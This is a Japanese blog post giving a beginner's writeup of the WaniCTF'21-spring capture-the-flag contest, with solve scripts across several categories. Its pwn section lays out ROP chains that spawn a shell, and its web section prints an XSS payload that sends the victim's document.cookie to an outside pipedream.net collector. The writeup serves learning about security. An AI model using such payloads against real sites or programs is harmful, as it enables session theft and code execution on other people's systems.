LoginSignup
1
1

More than 3 years have passed since last update.

WaniCTF'21-spring こんなんでいいのか? writeup

Last updated at Posted at 2021-05-03

各所でpal4deと名乗っているものです。

2021/4/30 - 5/1に開催された、大阪大学のCTFサークル「Wani Hackase」主催の初心者向けCTF、WaniCTF'21-springに、CTFほぼ初参戦というつもりで臨みました。
その上Qiitaも初投稿という事態

writeupというよりかは感想になってます。
こんなんでいいのか?

公式writeupはコチラ

最終結果

4197pt、400人ぐらい中の44位でした。

3日間割とまんべんなく解いたり調べものしてたりしてました。
初めましての人ばかりだったので。。。

image.png

Crypto

大学で暗号的な雰囲気に曝されていたおかげで解けた部分もある。

Simple conversion

整数化された文字列を復元する問題。

16進数の文字列に直してからバイト列にしてます。
もっといい書き方教えてください。

solve.py
problem = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
problem_bytes = bytes.fromhex(f'{problem:x}')
print(problem_bytes.decode('utf-8'))

easy

隠されたパラメータA, Bを用いてe = (A * p + B) % 26という形でズラして暗号化されているので復号する問題。

あんまeasyではなかった。
FLAGHLIMのascii位置を手計算で比較してA, Bを求める。

あとはこのパラメータをもとに復号する。
(crypted - B) / A = plain mod 26という感じ。

solve.py
encrypted = r'HLIM{OCLSAQCZASPYFZASRILLCVMC}'
encrypted_byte = bytearray()

A = 5
A_inv = 21
B = 8

for c in encrypted:
    if 'A' <= c <= 'Z':
        c = ord(c) - ord('A')
        c = ((c - B) * A_inv) % 26
        c = chr(c + ord('A'))
    print(c, end='')

Can't restore the flag?

ユーザー入力nに対してFLAG % nを教えてくれるので、そこからFLAGを手に入れる問題。

1-300まで返事をしてくれるそうなのでとりあえず全部保存する。
手計算をしてようやくX % n = rを満たす数はlcm(1..n) * i + bで表せそうであるとわかった。
ここでbn-1についての条件を満たす中の、b % n = rとなる最小の数。
これを300までやって出たbがFLAG。

solve.py
import math
import pathlib

with open(pathlib.Path(__file__).parent / 'response.txt', 'r') as file:
    a, b = 1, 0
    for n, r_str in enumerate(file.readlines(), 1):
        r = int(r_str)

        i = 0
        while (a * i + b) % n != r:
            i += 1

        b = a * i + b
        a = math.lcm(a, n)

    print(bytes.fromhex(f'{b:x}'))

extra

RSA暗号の過程でN = pqとは別にM = 2p + qが与えられるので、これをヒントに復号する問題。

暗号化に際してはMは余計なのでこれとNとをコネコネするんだろうなとは思った。

まさかただの2次方程式だったとは。。。。。

OUCS

準同型暗号「OUCS」で暗号化されたFLAGを解読する問題。

「準同型」を意味する英単語を知っておわった。

Forensics

経験の数がモノを言いそうな分野という印象があり、初めてながら苦手意識があった。

presentation

presentation.ppsxが与えられる。

サムネイルがPowerPointだったので、zipとして解凍して1枚目のスライドのxmlを探し出した。

MixedUSB

MixedUSB.imgが与えられる。

手元のいらないUSBを用意してみたりもしたが、試しに走らせてみたstrings MixedUSB.imgで終わってしまった。

secure document

flag_20210428.zippassword-generatorが与えられる。

password-generatorの中身がなんかAutoHotKeyっぽいなと思ったらビンゴ。
HotStringという機能が使われていたらしい。

日付部分をzipファイル自体の更新日時に変えて解凍。

たまたまAutoHotKeyユーザーだったからよかったけどMacだったら詰んでたかもな

illigal image

illegal_image.pcapが与えられ、そこから画像を抽出する問題。
pcapはWiresharkのファイルだった。

あまりに行が多く、遠慮した。

slow

slow.wavが与えられる。

Audacityなど色々音声をいじれそうなものを入れ、テンポをいじってみたりスペクトルを見てみたりしたが解けず。
なにもわからない。

Misc

唯一完全回答できた部門。
明らかに難易度が全部Normal以下だったおかげである。

binary

二進数の値を文字列に戻す問題。

solve.py
import os

with open(os.path.dirname(__file__) +'/binary.csv') as file:
    encrypted = file.read().replace('\n', '')
    encrypted_bytes = bytes.fromhex(f'{int(encrypted, 2):x}')
    print(encrypted_bytes.decode('utf-8'))

Automaton Lab.

Rule 30というオートマトンの予測を行う問題。

Wikipediaをみて簡単に実装して2つ目まで突破。
3つ目は素直な実装では間に合わないが、15bitで収まりきらない数値だったためループしてるだろと当たりを付け、ループが始まる点を見つけて解決。

solve.py
gen = list()
gen.append(input('first gen?: '))

target = int(input('taget gen?: '))

next_bit_dict = {
    '111': '0',
    '110': '0',
    '101': '0',
    '100': '1',
    '011': '1',
    '010': '1',
    '001': '1',
    '000': '0',
}

def nth_char(s, n):
    return s[n % len(s)]

print(0, gen[0])
while len(gen) - 1 < target:
    next_gen = ''
    for i in range(len(gen[0])):
        current_pattern = nth_char(gen[-1], i - 1)
        current_pattern += nth_char(gen[-1], i)
        current_pattern += nth_char(gen[-1], i + 1)
        next_gen += next_bit_dict[current_pattern]

    gen.append(next_gen)
    print(len(gen) - 1, next_gen)
    if next_gen in gen[:-1]:
        offset = gen.index(next_gen)
        stop = len(gen) - 1

        print('matched!')
        print(f'1st: {offset}')
        print(f'2nd: {stop}')

        target_reduced = (target - offset) % (stop - offset)
        print('final:', gen[offset + target_reduced])
        exit()

Git Master

コミットログからFLAGを探し出す問題。

/var/www/にリポジトリがある。
gitが無いのでインストールするところから。

FLAGっぽいファイルについてFLAG{you__master}みたいなのが出てきて、アンダースコア、ダブってない??と思いながら送信してみたものの不正解。
master?ブランチのことか?と思ってブランチを見てみるとtemporaryブランチが出てきた。

you__masterの間にも一つコミットがあったので解決。
結果オーライ。

ASK

ASK (Amplitude Shift Keying) を復号する問題。

下のManchesterと同じように周期を取ってその分だけ0と1を交互に繰り返し。
うまいことデコードできてないかもしれないけどいいや

solve.py
import os
import itertools

with open(os.path.dirname(__file__) +'/ask.csv') as file:
    encoded = file.read().replace('\n', '')
    encoded_grouped = itertools.groupby(encoded)

    length_list = [len(list(values)) for _, values in encoded_grouped]
    period = min(length_list)
    print(length_list)

    decoded_bin = ''
    bit = int(encoded[0])
    for length in length_list:
        if length <= period * 8:
            decoded_bin += str(bit) * (length // period)
        bit = 1 - bit

    decoded_bytes = bytes.fromhex(f'{int(decoded_bin, 2):x}')
    print(decoded_bytes)

Manchester

マンチェスター符号を復号する問題。

前問同様、0とか1が連続しすぎているので長さを測って周期を得る。
1→01なのか0→01なのかわからなかったので両方試し、出力させてそれっぽいのが出てきたものを採用。
FLAGより前にある長ーいデータは何だったんだろう

solve.py
import os
import itertools

with open(os.path.dirname(__file__) +'/manchester.csv') as file:
    encoded = file.read().replace('\n', '')
    encoded_grouped = itertools.groupby(encoded)
    period = float('inf')
    for _, group in encoded_grouped:
        period = min(period, len(list(group)))

    encoded_reduced = encoded[::period]
    encoded_reduced_pairs = zip(encoded_reduced[::2], encoded_reduced[1::2])
    decoded = ''
    for first, second in encoded_reduced_pairs:
        pattern = first + second
        if pattern == '01':
            decoded += '0'
        elif pattern == '10':
            decoded += '1'

    print(bytes.fromhex(f'{int(decoded, 2):x}'))

Pwn

もっとも縁遠い部門だったかもしれない。
相当簡単に作ってもらえたんだろうなという印象を受ける。

解いていくうちにメモリ脆弱性を突いていく気持ちよさがわかり始める。
メモリ脆弱性を突くの、気持ちいい。

01 netcat

ncコマンドを使ってみる問題。

cat

03 rop machine easy

system("/bin/sh")を呼ぶ問題。

この時点ではよくわかっていない。
色々調べた結果、よくわからないうちに解けてしまった。

     rop_arena
+--------------------+
| pop rdi; ret       | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| system             |
+--------------------+

04 rop machine normal

ROPでexecve("/bin/sh", 0, 0)を呼ぶ問題。

よくわからん 2

  • rdiが第一引数
  • rsiが第二引数
  • rdxが第三引数
  • raxがsyscall番号

に対応しているらしい。

ターゲットのレジスタをpopした直後に値を配置することで代入していけるのかなあ、程度の理解。

     rop_arena
+--------------------+
| pop rdi; ret       | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+

02 free hook

脆弱性のあるメモアプリを用いてシェルを起動する問題。
free_hookを使おうとのヒントがある。

free()時に呼び出される関数へのポインタとして__free_hookがあり、今回は既にこれがsystemを指しているので引数に"/bin/sh"が来るようにしたら良いっぽい。

  1. n番目のメモに/bin/shを書き込む。
  2. n番目のメモを削除する。
  3. free("/bin/sh") = system("/bin/sh")となりhappy

05 rop machine hard

ROPで/bin/shを呼ぶ問題。
一部のgadgetが選択肢として与えられていた今までとは異なり、自分でアドレスを調べてくる必要があるが、流れは基本的に04 rop machine normalと同じ。

ROPgadgetというツールでpop rdi ; retなどへのアドレスを調べて並べていく。
pop rsi ; pop r15 ; retでは2つpopしているので2回0x0を入れてみた。
"/bin/sh"へのアドレスはgdb pwn05してprint &binshすることで手に入る。

     rop_arena
+--------------------+
| 0x000000000040128f | pop rdi ; ret
+--------------------+
| 0x0000000000404078 | "/bin/sh"
+--------------------+
| 0x0000000000401611 | pop rsi ; pop r15 ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x000000000040129c | pop rdx ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x00000000004012a9 | pop rax ; ret
+--------------------+
| 0x000000000000003b | 0x3b
+--------------------+
| 0x00000000004012b6 | syscall
+--------------------+

06 SuperROP

案外今までのROPも突破できて楽しくなってきたので挑戦してみたものの、だいすきだったROPmachineがいなくなり急に詰む。

07 Tower of Hanoi

ハノイの塔を解く問題?

解けていない。
Very hardと書いてある赤いラベルがあったので問題文はあまり気にしていない

08 Gacha Breaker

悪徳ガチャサービスベンダーからFLAGを盗む問題?

解けていない。
問題文はあまり気にしていない

Reversing

VSCodeのデバッガーは使ったことあったものの、コマンドラインのgdbは初めてだったので勉強になった。Ghidraが便利というのも実感。
テックニュースでたまに見るリバースエンジニアリングを体感しているようで面白かった。

secret

stringsでsecretを見てみたら、wani_is_the_coolest_animals_in_the_world!とそれっぽいのがあったので、それがsecret keyなんだろうな...と。

$ chmod u+x ./secret
$ ./secret 

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

cのソースコードを紛失しmain.slibprint.soのみがある、という状態からプログラムを実行する問題。

ムチャクチャ苦労した

  1. .sファイルとは何か?
  2. アセンブリ言語だ
  3. asコマンドでアセンブルできるらしい
  4. libprint.soをリンクしないといけない
  5. gccでリンク?
  6. おまじない(LD_LIBRARY_PATH=.)を付与して実行
as main.s -o main.o
gcc -o main main.o -I./ -L./ -lprint
LD_LIBRARY_PATH=. ./main

timer

非常に長いカウントダウンを行うプログラムからFLAGを得る問題。

Ghidraでプログラム解析結果を見ながら、gdbで変数を書き換えられないか頑張る。
結果的には変数を書き換える必要はなかった。timerに入ったら直ちに帰ればよい。

> gdb timer
(gdb) break timer
  :
(gdb) run
  :
(gdb) return (int) 0
  :
(gdb) continue

licence

非常に強力なライセンス確認処理が施されたプログラムのためにライセンスファイルを探す問題。

解けていない。

非常に強力な

のフレーズを見てあきらめた。

Web

ソフトウェア開発を始めたキッカケがWebだったので自信をもって取り組んだものの、パッとしない結果となった。

fake

ウェブサイトからFLAGを探す問題。

ソースコードを見たらdisplay: noneされている要素があったので解決。

Wani Request 1

被害者の秘密のページを探す問題。

  1. pipedream作る。
  2. 発行されたURLを送る。
  3. steps.nodejs > code > steps.nodejs.$return_value > body > headers > refferer にawsのURLがあったのでアクセス。

exception

ウェブアプリの脆弱性を探す問題。

サーバー側のコードを見て、文字列に結合しようとしていることから送られたデータに配列などが来たらダメそうだと察する。
送信ボタンのイベントハンドラを見て直接[]を放り込みfetch、開発者ツールのNetworkから返答内容を見てゲット。

Wani Request 2

2通りのXSSからFLAGを集める。

page1

パラメータがそのままDOMに取り込まれるタイプのXSS。

<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">など。

scriptタグはVue的なものにはじかれてしまうのか、うまくいかなかった。

page2

URLを踏むことで発動するタイプのXSS。

page1のを活用しちゃお~と、/page1?wani=<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">を試してみるが、うまくいかない。
document.cookieが読みだせないのか、クエリが空になっている。

HttpOnly属性というのがあるらしい。これがあやしい?
関係なかったです。勘弁してください。

TRACEメソッドもうまくいかなかった。

watch animal

ターゲットユーザーのパスワードがFLAGになっているのでそれを探す問題。

コンテナを立ち上げて、慣れないSQLコマンドを駆使してパスワードを掘り起こしたらFAKEをつかまされてしまったし、そもそも1_InitUsers.sqlに直接書いてある。

PHPを読んでみたりしたが、よくわからず。

CloudFront Basic Auth

AWS Cloudformation template で構成できるウェブアプリにはBasic認証が導入されているらしい。

ながーいyamlを一通り見てあきらめた。


相当適当に書いていますが、楽しんでいただければ幸いです。
知らないことだらけでムチャクチャ楽しかったので、ビビらず挑戦してみよう

以上

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1